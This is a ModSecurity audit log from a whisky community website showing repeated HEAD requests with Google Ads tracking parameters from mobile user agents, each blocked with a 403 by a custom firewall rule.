Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273238087528 10942 (- - -)
Stopwatch2: 1789273238087528 10942; combined=5507, p1=916, p2=4231, p3=61, p4=7, p5=292, sr=107, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--d77b4d2f-Z--
--5decba69-A--
[13/Sep/2026:07:20:38.521516 +0300] aqYklkwu1RSkptiiNIXvmgAAAJQ 151.243.174.162 55976 127.0.0.1 7081
--5decba69-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_campaignid%3D23994478984%26wbraid%3DCkEKCQjw8JPVBhDhARIwAIiaH1jcRWyFhc-LSfNIgXv-iiBKleqXs7JU6acpwtmk3mmi2KdngnLi9z46wCsiGgI28Q HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.162
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1
--5decba69-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--5decba69-E--
--5decba69-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273238515167 6406 (- - -)
Stopwatch2: 1789273238515167 6406; combined=4678, p1=250, p2=4055, p3=64, p4=7, p5=302, sr=107, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--5decba69-Z--
--3c62e44f-A--
[13/Sep/2026:07:20:38.878219 +0300] aqYklkwu1RSkptiiNIXvmwAAAJc 151.243.174.85 55980 127.0.0.1 7081
--3c62e44f-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_campaignid%3D23994478984%26wbraid%3DCkEKCQjw8JPVBhDhARIwAIiaH1jcRWyFhc-LSfNIgXv-iiBKleqXs7JU6acpwtmk3mmi2KdngnLi9z46wCsiGgI28Q HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.85
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1
--3c62e44f-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--3c62e44f-E--
--3c62e44f-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273238872425 5834 (- - -)
Stopwatch2: 1789273238872425 5834; combined=4359, p1=282, p2=3768, p3=61, p4=6, p5=242, sr=125, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--3c62e44f-Z--
--90f8d01f-A--
[13/Sep/2026:07:20:50.770357 +0300] aqYkomM7dE9KgIIOpQhhdAAAANE 46.203.158.185 54542 127.0.0.1 7081
--90f8d01f-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 46.203.158.185
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1
--90f8d01f-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--90f8d01f-E--
--90f8d01f-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273250764528 5901 (- - -)
Stopwatch2: 1789273250764528 5901; combined=4275, p1=298, p2=3652, p3=84, p4=7, p5=234, sr=102, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--90f8d01f-Z--
--d6586c43-A--
[13/Sep/2026:07:20:51.073338 +0300] aqYko2M7dE9KgIIOpQhhdQAAAMI 91.124.31.150 54552 127.0.0.1 7081
--d6586c43-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 91.124.31.150
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1
--d6586c43-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--d6586c43-E--
--d6586c43-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273251064991 8410 (- - -)
Stopwatch2: 1789273251064991 8410; combined=6185, p1=277, p2=5505, p3=102, p4=9, p5=291, sr=119, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--d6586c43-Z--
--8dc49549-A--
[13/Sep/2026:07:20:51.379235 +0300] aqYko2M7dE9KgIIOpQhhdgAAAM0 91.124.31.242 54560 127.0.0.1 7081
--8dc49549-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 91.124.31.242
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1
--8dc49549-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--8dc49549-E--
--8dc49549-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273251373430 5845 (- - -)
Stopwatch2: 1789273251373430 5845; combined=4495, p1=295, p2=3898, p3=62, p4=6, p5=234, sr=159, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--8dc49549-Z--
--89527f65-A--
[13/Sep/2026:07:22:40.293387 +0300] aqYlEEwu1RSkptiiNIXvowAAAJY 95.134.102.244 38906 127.0.0.1 7081
--89527f65-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.244
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--89527f65-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--89527f65-E--
--89527f65-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273360288190 5235 (- - -)
Stopwatch2: 1789273360288190 5235; combined=3913, p1=275, p2=3331, p3=62, p4=6, p5=239, sr=88, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--89527f65-Z--
--b6278f38-A--
[13/Sep/2026:07:22:40.690107 +0300] aqYlEGM7dE9KgIIOpQhhjQAAAMM 151.243.174.108 38920 127.0.0.1 7081
--b6278f38-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.108
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--b6278f38-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--b6278f38-E--
--b6278f38-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273360684198 5961 (- - -)
Stopwatch2: 1789273360684198 5961; combined=4472, p1=270, p2=3825, p3=78, p4=9, p5=290, sr=101, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--b6278f38-Z--
--4568e756-A--
[13/Sep/2026:07:22:41.078780 +0300] aqYlEUwu1RSkptiiNIXvpAAAAJE 95.134.102.134 38926 127.0.0.1 7081
--4568e756-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.134
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--4568e756-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--4568e756-E--
--4568e756-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273361070765 8061 (- - -)
Stopwatch2: 1789273361070765 8061; combined=5887, p1=292, p2=5021, p3=116, p4=10, p5=448, sr=127, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--4568e756-Z--
--7a9c4978-A--
[13/Sep/2026:07:22:55.611858 +0300] aqYlH2M7dE9KgIIOpQhhkAAAANQ 95.134.102.36 50484 127.0.0.1 7081
--7a9c4978-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gbraid%3D0AAAABD56NGNmXlQxgxu82uWD1zCeRR2GM%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.36
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--7a9c4978-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--7a9c4978-E--
--7a9c4978-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273375606258 5701 (- - -)
Stopwatch2: 1789273375606258 5701; combined=4188, p1=257, p2=3577, p3=68, p4=8, p5=278, sr=99, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--7a9c4978-Z--
--c1cd9d13-A--
[13/Sep/2026:07:22:55.983454 +0300] aqYlHzTJ6xTvcJoem7f2XwAAAEA 151.243.174.101 50486 127.0.0.1 7081
--c1cd9d13-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gbraid%3D0AAAABD56NGNmXlQxgxu82uWD1zCeRR2GM%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.101
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--c1cd9d13-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--c1cd9d13-E--
--c1cd9d13-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273375977454 6052 (- - -)
Stopwatch2: 1789273375977454 6052; combined=4638, p1=299, p2=4019, p3=62, p4=7, p5=250, sr=120, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--c1cd9d13-Z--
--3e094158-A--
[13/Sep/2026:07:22:56.362490 +0300] aqYlIEwu1RSkptiiNIXvpgAAAI8 151.243.174.120 50490 127.0.0.1 7081
--3e094158-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gbraid%3D0AAAABD56NGNmXlQxgxu82uWD1zCeRR2GM%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.120
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--3e094158-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--3e094158-E--
--3e094158-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273376356707 5836 (- - -)
Stopwatch2: 1789273376356707 5836; combined=4320, p1=266, p2=3699, p3=61, p4=7, p5=287, sr=99, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--3e094158-Z--
--a5540354-A--
[13/Sep/2026:07:23:22.350649 +0300] aqYlOjTJ6xTvcJoem7f2YAAAAE0 95.134.102.154 57282 127.0.0.1 7081
--a5540354-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.154
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1
--a5540354-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--a5540354-E--
--a5540354-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273402342342 8351 (- - -)
Stopwatch2: 1789273402342342 8351; combined=6495, p1=371, p2=5705, p3=86, p4=9, p5=324, sr=156, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--a5540354-Z--
--950c315e-A--
[13/Sep/2026:07:23:22.755385 +0300] aqYlOjTJ6xTvcJoem7f2YQAAAEk 151.243.174.142 57292 127.0.0.1 7081
--950c315e-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.142
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1
--950c315e-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--950c315e-E--
--950c315e-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273402745864 9582 (- - -)
Stopwatch2: 1789273402745864 9582; combined=7357, p1=409, p2=6525, p3=91, p4=10, p5=321, sr=207, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--950c315e-Z--
--b79c375e-A--
[13/Sep/2026:07:23:23.157248 +0300] aqYlO2M7dE9KgIIOpQhhlQAAAM4 151.243.174.19 57296 127.0.0.1 7081
--b79c375e-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.19
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1
--b79c375e-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--b79c375e-E--
--b79c375e-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273403150046 7243 (- - -)
Stopwatch2: 1789273403150046 7243; combined=5388, p1=266, p2=4771, p3=78, p4=8, p5=265, sr=117, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--b79c375e-Z--
--fb08cd5d-A--
[13/Sep/2026:07:23:36.901007 +0300] aqYlSEwu1RSkptiiNIXvqQAAAJA 95.134.102.48 55236 127.0.0.1 7081
--fb08cd5d-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.48
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1
--fb08cd5d-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--fb08cd5d-E--
--fb08cd5d-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273416890260 10832 (- - -)
Stopwatch2: 1789273416890260 10832; combined=8004, p1=537, p2=6617, p3=158, p4=11, p5=681, sr=244, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--fb08cd5d-Z--
--b4651022-A--
[13/Sep/2026:07:23:37.013332 +0300] aqYlSWM7dE9KgIIOpQhhmAAAANg 151.243.174.108 55240 127.0.0.1 7081
--b4651022-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.108
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1
--b4651022-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--b4651022-E--
--b4651022-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273417006161 7221 (- - -)
Stopwatch2: 1789273417006161 7221; combined=5323, p1=284, p2=4717, p3=69, p4=6, p5=247, sr=94, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--b4651022-Z--
--aefb3951-A--
[13/Sep/2026:07:23:37.372980 +0300] aqYlSWM7dE9KgIIOpQhhmQAAAMI 95.134.102.117 55256 127.0.0.1 7081
--aefb3951-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.117
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1
--aefb3951-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--aefb3951-E--
--aefb3951-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273417365595 7432 (- - -)
Stopwatch2: 1789273417365595 7432; combined=5008, p1=357, p2=4211, p3=84, p4=8, p5=347, sr=173, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--aefb3951-Z--
--253fe723-A--
[13/Sep/2026:07:23:40.962981 +0300] aqYlTGM7dE9KgIIOpQhhmwAAAM0 95.134.102.227 55290 127.0.0.1 7081
--253fe723-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_campaignid%3D23994478984%26wbraid%3DCkEKCQjw8JPVBhDhARIwAIiaH1jcRWyFhc-LSfNIgXv-iiBKleqXs7JU6acpwtmk3mmi2KdngnLi9z46wCsiGgI28Q HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.227
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1
--253fe723-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--253fe723-E--
--253fe723-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273420955655 7380 (- - -)
Stopwatch2: 1789273420955655 7380; combined=5554, p1=317, p2=4810, p3=95, p4=9, p5=322, sr=159, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--253fe723-Z--
--0636856a-A--
